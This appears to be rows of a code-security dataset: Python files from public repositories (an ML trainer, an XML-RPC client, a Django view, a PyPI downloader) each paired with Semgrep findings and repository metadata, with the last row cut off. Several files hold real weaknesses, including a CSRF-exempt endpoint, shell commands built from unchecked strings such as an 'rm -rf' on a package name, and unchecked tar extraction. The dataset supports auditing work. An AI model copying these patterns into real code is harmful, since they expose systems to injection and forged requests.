""" takes model,data and category names as inputs and evaluates it and generates classification report """
y_pred = model.predict(X_test)
pred_data = pd.DataFrame(y_pred, columns = category_names)
for column in category_names:
print('_ '* 50 )
print('\n')
print('column: {}\n'.format(column))
print(classification_report(Y_test[column],pred_data[column]))
def save_model(model, model_filepath):
""" dumps model as pickle so it can be used later """
pickle.dump(model, open(model_filepath, 'wb'))
def main():
""" Performs and shows how model is performing and also error message when encountered with error """
if len(sys.argv) == 3:
database_filepath, model_filepath = sys.argv[1:]
print('Loading data...\n DATABASE: {}'.format(database_filepath))
X, Y, category_names = load_data(database_filepath)
X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2)
print('Building model...')
model = build_model()
print('Training model...')
model.fit(X_train, Y_train)
print('Evaluating model...')
evaluate_model(model, X_test, Y_test, category_names)
print('Saving model...\n MODEL: {}'.format(model_filepath))
save_model(model, model_filepath)
print('Trained model saved!')
else:
print('Please provide the filepath of the disaster messages database '\
'as the first argument and the filepath of the pickle file to '\
'save the model to as the second argument. \n\nExample: python '\
'train_classifier.py ../data/DisasterResponse.db classifier.pkl')
if __name__ == '__main__':
main()
| 158 | 25.84 | 130 | 14 | 921 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ac0f7f5950790475_1b711990", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 125, "line_end": 125, "column_start": 5, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ac0f7f5950790475.py", "start": {"line": 125, "col": 5, "offset": 2987}, "end": {"line": 125, "col": 51, "offset": 3033}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
125
] | [
125
] | [
5
] | [
51
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | train_classifier.py | /models/train_classifier.py | JayaPrakas/udacity_disaster_pipeline | MIT | |
2024-11-18T18:40:01.906695+00:00 | 1,522,405,345,000 | e9bb616b98d0614b0eceee8a84515fdc17bddb51 | 3 | {
"blob_id": "e9bb616b98d0614b0eceee8a84515fdc17bddb51",
"branch_name": "refs/heads/master",
"committer_date": 1522405345000,
"content_id": "01be7501f6c6c25d33ded3c68566b9e3bd415d1b",
"detected_licenses": [
"MIT"
],
"directory_id": "e2f9d4359c547c42373157e691ab40ad3cd947c5",
"extension": "py",
"filename": "client.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2811,
"license": "MIT",
"license_type": "permissive",
"path": "/penchy/client.py",
"provenance": "stack-edu-0054.json.gz:570240",
"repo_name": "fhirschmann/penchy",
"revision_date": 1522405345000,
"revision_id": "6d179f60500ecd49ee1e736800a3f0a0f4425b3f",
"snapshot_id": "50e2edae4255c09a567927abf36334672ed99508",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/fhirschmann/penchy/6d179f60500ecd49ee1e736800a3f0a0f4425b3f/penchy/client.py",
"visit_date": "2020-06-30T03:04:45.028919"
} | 2.53125 | stackv2 | """
Executes benchmarks and filters generated data.
.. moduleauthor:: Fabian Hirschmann <fabian@hirschmann.email>
:copyright: PenchY Developers 2011-2012, see AUTHORS
:license: MIT License, see LICENSE
"""
import logging
import xmlrpclib
import signal
from penchy.util import load_config, load_job
from penchy.log import configure_logging
log = logging.getLogger(__name__)
class Client(object):
"""
This class represents a client which executes a job
and sends the results to the server.
"""
def __init__(self, job, config, identifier, loglevel=logging.INFO):
"""
:param args: arguments; this would normally be :class:`sys.argv`
:type args: list
"""
self.config = load_config(config)
job_module = load_job(job)
self.identifier = identifier
configure_logging(loglevel, logfile='penchy.log')
self.job = job_module.job
self.job.filename = job_module.__file__
self.proxy = xmlrpclib.ServerProxy('http://%s:%s/' % \
(self.config.SERVER_HOST, self.config.SERVER_PORT))
self._current_composition = None
signal.signal(signal.SIGHUP, self._signal_handler)
def _signal_handler(self, signum, frame):
"""
Handles signals sent to this process.
:param signum: signal number as defined in the ``signal`` module
:type signum: int
:param frame: execution frame
:type frame: frame object
"""
log.info('Received signal %s' % signum)
if signum == signal.SIGHUP:
self.send_signal_to_composition(signal.SIGKILL)
def send_signal_to_composition(self, signum):
"""
Send signal ``signum`` to the composition which is currently running.
:param signum: signal number as defined in the ``signal`` module
:type signum: int
"""
if self._current_composition:
if self._current_composition.jvm.proc:
if self._current_composition.jvm.proc.returncode is None:
self._current_composition.jvm.proc.send_signal(signum)
log.error('Current composition timed out and was terminated')
def run(self):
"""
Runs the client.
"""
self.job.send = self.proxy.rcv_data
for composition in self.job.compositions_for_node(self.identifier):
try:
self._current_composition = composition
composition.set_timeout_function(self.proxy.set_timeout)
self.job.run(composition)
self._current_composition = None
except Exception as err:
log.exception('Exception occured while executing PenchY:')
self.proxy.report_error(composition.hash(), err)
| 85 | 32.07 | 81 | 18 | 596 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xmlrpc_a8b0193252d4b618_cd7a20d5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xmlrpc", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 1, "column_end": 17, "code_snippet": "requires login"}, "cwe_id": "CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://pypi.org/project/defusedxml/", "title": null}, {"url": "https://docs.python.org/3/library/xml.html#xml-vulnerabilities", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xmlrpc", "path": "/tmp/tmpb8jm_z1l/a8b0193252d4b618.py", "start": {"line": 11, "col": 1, "offset": 227}, "end": {"line": 11, "col": 17, "offset": 243}, "extra": {"message": "Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead.", "metadata": {"cwe": ["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')"], "owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "source-rule-url": "https://github.com/PyCQA/bandit/blob/07f84cb5f5e7c1055e6feaa0fe93afa471de0ac3/bandit/blacklists/imports.py#L160", "references": ["https://pypi.org/project/defusedxml/", "https://docs.python.org/3/library/xml.html#xml-vulnerabilities"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-776"
] | [
"rules.python.lang.security.use-defused-xmlrpc"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
11
] | [
11
] | [
1
] | [
17
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | client.py | /penchy/client.py | fhirschmann/penchy | MIT | |
2024-11-18T18:40:03.098319+00:00 | 1,507,070,412,000 | 3d31725efeb72dbaa4390ce5afce5f598af8e2cb | 3 | {
"blob_id": "3d31725efeb72dbaa4390ce5afce5f598af8e2cb",
"branch_name": "refs/heads/master",
"committer_date": 1507070412000,
"content_id": "3305809bbc33a9d6f5e9611d7623989944040990",
"detected_licenses": [
"MIT"
],
"directory_id": "ac037e19ac5d7bd2c0947615a52364a14986c9f3",
"extension": "py",
"filename": "ktype.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 89866550,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1142,
"license": "MIT",
"license_type": "permissive",
"path": "/thermometers/ktype.py",
"provenance": "stack-edu-0054.json.gz:570254",
"repo_name": "danielsbonnin/smokerpi",
"revision_date": 1507070412000,
"revision_id": "39ab738d6774ed172970ea5e5be91613f32f2081",
"snapshot_id": "e4f38e8c8a622a4f7593d352185afacbfee369e9",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/danielsbonnin/smokerpi/39ab738d6774ed172970ea5e5be91613f32f2081/thermometers/ktype.py",
"visit_date": "2021-01-20T06:20:30.369443"
} | 2.78125 | stackv2 | import os
import time
import threading
from thermometer import Thermometer
SAMPLE_SIZE = 10
INTERVAL = 2
LOW_CUTOFF = -30.0
HI_CUTOFF = 600.0
ERR_VAL = -666
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
class Ktype(Thermometer):
"""
K Type thermocouple using MAX6675 amplifier
Runs an executable "kType" from the local directory.
See README for installation info
"""
def __init__(self, interval=INTERVAL):
Thermometer.__init__(self, interval)
def read_temp(self):
try:
c = os.popen(os.path.join(BASE_DIR, 'kType') + ' C').readline()
c = float(c)
except Exception as e:
print("There was an exception in ktype.py")
raise
if abs(c - ERR_VAL) > 1:
self.c = c
self.f = round(self.c * 9.0 / 5.0 + 32.0, 3)
self.time_last_read = time.time()
else:
print("Thermocouple may be unplugged.")
raise ValueError("kType returning error value")
if __name__ == "__main__":
k = Ktype()
print("The current temperature in Fahrenheit is {}".format(k.get_f()))
| 37 | 29.86 | 75 | 18 | 308 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_0a4933e7faa91f09_26e2eff5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 17, "column_end": 65, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/0a4933e7faa91f09.py", "start": {"line": 22, "col": 17, "offset": 540}, "end": {"line": 22, "col": 65, "offset": 588}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
22
] | [
22
] | [
17
] | [
65
] | [
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | ktype.py | /thermometers/ktype.py | danielsbonnin/smokerpi | MIT | |
2024-11-18T18:40:04.431472+00:00 | 1,545,003,860,000 | a2caaae070aca8e1448e676796b09fe626c878dd | 2 | {
"blob_id": "a2caaae070aca8e1448e676796b09fe626c878dd",
"branch_name": "refs/heads/master",
"committer_date": 1545003860000,
"content_id": "31afba31df465637328219cb7cded0dde605483b",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "516816cf06033962cff9dfab6ac2937ad3a48cec",
"extension": "py",
"filename": "update_profile.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1166,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/Backend/v1/accounts/views/update_profile.py",
"provenance": "stack-edu-0054.json.gz:570270",
"repo_name": "softbenefits000/Django-Project",
"revision_date": 1545003860000,
"revision_id": "2282f1e021ee81a482d3401f1febfc76f0d13df5",
"snapshot_id": "2ffed23ccdd7e886b64278db91e1b4c2affe41eb",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/softbenefits000/Django-Project/2282f1e021ee81a482d3401f1febfc76f0d13df5/Backend/v1/accounts/views/update_profile.py",
"visit_date": "2020-04-11T19:52:08.647156"
} | 2.34375 | stackv2 | import json
from django.http import JsonResponse
from django.views.decorators.csrf import csrf_exempt
from django.contrib.auth.models import User
from v1.accounts.models import Profile
from v1.accounts.validators.authenticate import (
verify_auth,
is_owner
)
@csrf_exempt
def update_profile_view(req):
data = json.loads(req.body)
try:
token = req.META['HTTP_AUTHORIZATION']
except:
return JsonResponse({'error':'Please Login First'})
if(verify_auth(token) and is_owner(token,data['username'])):
if req.method == 'PUT':
data = json.loads(req.body)
username = data['username']
college = data['college']
picture = data['picture']
user = User.objects.get(username=username)
profile = Profile.objects.get(user=user)
profile.college = college
profile.picture = picture
profile.save()
return JsonResponse({'success':'Profile Updated'}, status=200)
return JsonResponse({'error':'Method Not Allowed'}, status=405)
else:
return JsonResponse({'error':'You are not the owner'},status=401)
| 32 | 35.44 | 74 | 15 | 236 | python | [{"finding_id": "semgrep_rules.python.django.security.audit.no-csrf-exempt_19e5dfa12cd47c05_ceb4ac13", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.no-csrf-exempt", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator.", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 32, "column_start": 1, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": "CWE-352: Cross-Site Request Forgery (CSRF)", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2021 - Broken Access Control", "references": [{"url": "https://owasp.org/Top10/A01_2021-Broken_Access_Control", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.no-csrf-exempt", "path": "/tmp/tmpb8jm_z1l/19e5dfa12cd47c05.py", "start": {"line": 11, "col": 1, "offset": 268}, "end": {"line": 32, "col": 74, "offset": 1165}, "extra": {"message": "Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator.", "metadata": {"cwe": ["CWE-352: Cross-Site Request Forgery (CSRF)"], "owasp": ["A01:2021 - Broken Access Control", "A01:2025 - Broken Access Control"], "category": "security", "technology": ["django"], "references": ["https://owasp.org/Top10/A01_2021-Broken_Access_Control"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-352"
] | [
"rules.python.django.security.audit.no-csrf-exempt"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
11
] | [
32
] | [
1
] | [
74
] | [
"A01:2021 - Broken Access Control"
] | [
"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | update_profile.py | /Backend/v1/accounts/views/update_profile.py | softbenefits000/Django-Project | Apache-2.0 | |
2024-11-18T18:40:08.684886+00:00 | 1,556,970,572,000 | d1423e864da501f4846914b8d872647553c9b197 | 3 | {
"blob_id": "d1423e864da501f4846914b8d872647553c9b197",
"branch_name": "refs/heads/master",
"committer_date": 1556970572000,
"content_id": "83a7ee297ff6d9dc32cfb3c18ed864e642f745f2",
"detected_licenses": [
"MIT"
],
"directory_id": "043ec7d1a8e2959e8d322f67129143a159d8bad1",
"extension": "py",
"filename": "pypi.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 162976412,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 919,
"license": "MIT",
"license_type": "permissive",
"path": "/emptool/pypi.py",
"provenance": "stack-edu-0054.json.gz:570316",
"repo_name": "EasyMicroPython/EMP-TOOL",
"revision_date": 1556970572000,
"revision_id": "14150a621f74d34ca6ebabd5bc11da638bc52a1b",
"snapshot_id": "082b7cf4058ef699f8a3192390887318bb56c07a",
"src_encoding": "UTF-8",
"star_events_count": 4,
"url": "https://raw.githubusercontent.com/EasyMicroPython/EMP-TOOL/14150a621f74d34ca6ebabd5bc11da638bc52a1b/emptool/pypi.py",
"visit_date": "2020-04-13T04:56:35.112041"
} | 2.609375 | stackv2 | import requests
import tarfile
import os
import json
def download_pkg(pkg):
print('==> Collecting %s' % pkg)
url = "https://pypi.org/pypi/%s/json" % pkg
meta_data = requests.get(url).json()
link = meta_data['urls'][0]['url']
pkg_name = link.split('/')[-1]
print(' -> Downloding %s' % link)
zipped_pkg = requests.get(link)
with open(pkg_name, 'wb') as f:
f.write(zipped_pkg.content)
return pkg_name
def unzip_pkg(pkg):
print(' -> Unpacking %s...' % pkg)
t = tarfile.open(pkg)
t.extractall()
for i in os.listdir(pkg.replace('.tar.gz', '')):
if not i.endswith('.py'):
os.remove('%s/%s' % (pkg.replace('.tar.gz', ''), i))
os.remove('%s/%s' % (pkg.replace('.tar.gz', ''), 'setup.py'))
def remove_trash(pkg):
print(' -> Removing cache...')
os.system('rm %s' % pkg)
os.system('rm -rf %s' % pkg.replace('.tar.gz', ''))
| 36 | 24.53 | 65 | 16 | 264 | python | [{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_cd423f153df73bcd_fbd89b23", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 10, "line_end": 10, "column_start": 17, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmpb8jm_z1l/cd423f153df73bcd.py", "start": {"line": 10, "col": 17, "offset": 179}, "end": {"line": 10, "col": 34, "offset": 196}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_cd423f153df73bcd_fe4fe548", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(url, timeout=30)", "location": {"file_path": "unknown", "line_start": 10, "line_end": 10, "column_start": 17, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpb8jm_z1l/cd423f153df73bcd.py", "start": {"line": 10, "col": 17, "offset": 179}, "end": {"line": 10, "col": 34, "offset": 196}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(url, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_cd423f153df73bcd_f7ef5320", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 18, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmpb8jm_z1l/cd423f153df73bcd.py", "start": {"line": 14, "col": 18, "offset": 334}, "end": {"line": 14, "col": 36, "offset": 352}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_cd423f153df73bcd_41339954", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(link, timeout=30)", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 18, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpb8jm_z1l/cd423f153df73bcd.py", "start": {"line": 14, "col": 18, "offset": 334}, "end": {"line": 14, "col": 36, "offset": 352}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(link, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_cd423f153df73bcd_ae939afe", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 5, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmpb8jm_z1l/cd423f153df73bcd.py", "start": {"line": 24, "col": 5, "offset": 513}, "end": {"line": 24, "col": 26, "offset": 534}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_cd423f153df73bcd_7a4b3a2b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 35, "line_end": 35, "column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/cd423f153df73bcd.py", "start": {"line": 35, "col": 5, "offset": 838}, "end": {"line": 35, "col": 29, "offset": 862}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": 